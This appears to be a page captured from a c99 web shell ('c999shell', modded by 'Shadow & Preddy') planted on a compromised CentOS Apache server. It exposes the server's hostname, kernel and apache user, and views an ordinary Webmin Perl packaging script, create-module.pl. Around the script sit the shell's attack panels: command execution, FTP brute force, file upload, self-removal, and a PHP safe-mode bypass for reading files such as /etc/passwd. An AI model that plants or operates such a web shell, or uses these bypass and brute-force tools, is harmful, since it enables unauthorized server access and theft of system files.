!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/   drwxr-xr-x
Free 50.63 GB of 127.8 GB (39.61%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     create-module.pl (2.92 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# create-module.pl
# Creates a single .wbm file containing multiple modules, possibly with
# forced versions

@ARGV >= 2 || die "usage: create-module.pl [--dir name] <file.wbm> <module>[/version] ..";

chop($pwd = `pwd`);

# Parse command-line options
while(@ARGV) {
    if ($ARGV[0] eq "--dir") {
        shift(@ARGV);
        $forcedir = shift(@ARGV);
        }
    elsif ($ARGV[0] eq "--sign") {
        shift(@ARGV);
        $createsig = 1;
        }
    else {
        last;
        }
    }

$file = shift(@ARGV);
if ($file !~ /^\//) {
    $file = "$pwd/$file";
    }
unlink($file);
foreach $m (@ARGV) {
    # Parse module and forced version
    $m =~ s/\/$//;
    if ($m =~ /^(.*)\/(.*)$/) {
        $mod = $1;
        $ver = $2;
        }
    else {
        $mod = $m;
        $ver = undef;
        }

    # Copy module to temp dir
    system("rm -rf /tmp/create-module");
    mkdir("/tmp/create-module", 0755);
    $subdir = $forcedir || $mod;
    $copydir = "/tmp/create-module/$subdir";
    system("rm -rf $copydir");
    system("cp -r -L $mod $copydir 2>/dev/null || cp -R -L $mod $copydir");

    # Find type from .info file
    undef(%minfo);
    if (&read_file($ifile = "$copydir/module.info", \%minfo)) {
        $type = 0;
        }
    elsif (&read_file($ifile = "$copydir/theme.info", \%minfo)) {
        $type = 1;
        }
    else {
        die "Module or theme $mod not found";
        }
    if ($ver) {
        $minfo{'version'} = $ver;
        &write_file($ifile, \%minfo);
        }
    $flags = !-r $file ? "chf" : "rhf";
    system("cd /tmp/create-module && find . -name .svn | xargs rm -rf");
    system("cd /tmp/create-module && find . -name '*~' -o -name '*.rej' -o -name '*.orig' -o -name '.*.swp' | xargs rm -rf");
    unlink("/tmp/create-module/$subdir/IDEAS");
    system("cd /tmp/create-module && find . -name \\*.svn-work | xargs rm -rf");
    system("cd /tmp/create-module && find . -name \\*.svn-base | xargs rm -rf");
    system("cd /tmp/create-module && find . -name \\*.cgi | xargs chmod +x");
    system("cd /tmp/create-module && find . -name \\*.pl | xargs chmod +x");
    system("cd /tmp/create-module && tar $flags $file $subdir") && die "Failed to create tar file";
    }
if ($file =~ /^(.*)\.gz$/i) {
    system("mv $file $1");
    system("gzip -c $1 >$file");
    unlink("$1");
    }
if ($createsig) {
    system("rm -f $file-sig.asc");
    system("gpg --armor --output $file-sig.asc --detach-sig $file");
    }

# read_file(file, &assoc, [&order], [lowercase])
# Fill an associative array with name=value pairs from a file
sub read_file
{
open(ARFILE, $_[0]) || return 0;
while(<ARFILE>) {
    s/\r|\n//g;
        if (!/^#/ && /^([^=]*)=(.*)$/) {
        $_[1]->{$_[3] ? lc($1) : $1} = $2;
        push(@{$_[2]}, $1) if ($_[2]);
            }
        }
close(ARFILE);
return 1;
}
 
# write_file(file, array)
# Write out the contents of an associative array as name=value lines
sub write_file
{
local(%old, @order);
&read_file($_[0], \%old, \@order);
open(ARFILE, ">$_[0]");
foreach $k (@order) {
        print ARFILE $k,"=",$_[1]->{$k},"\n" if (exists($_[1]->{$k}));
    }
foreach $k (keys %{$_[1]}) {
        print ARFILE $k,"=",$_[1]->{$k},"\n" if (!exists($old{$k}));
        }
close(ARFILE);
}

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0161 ]--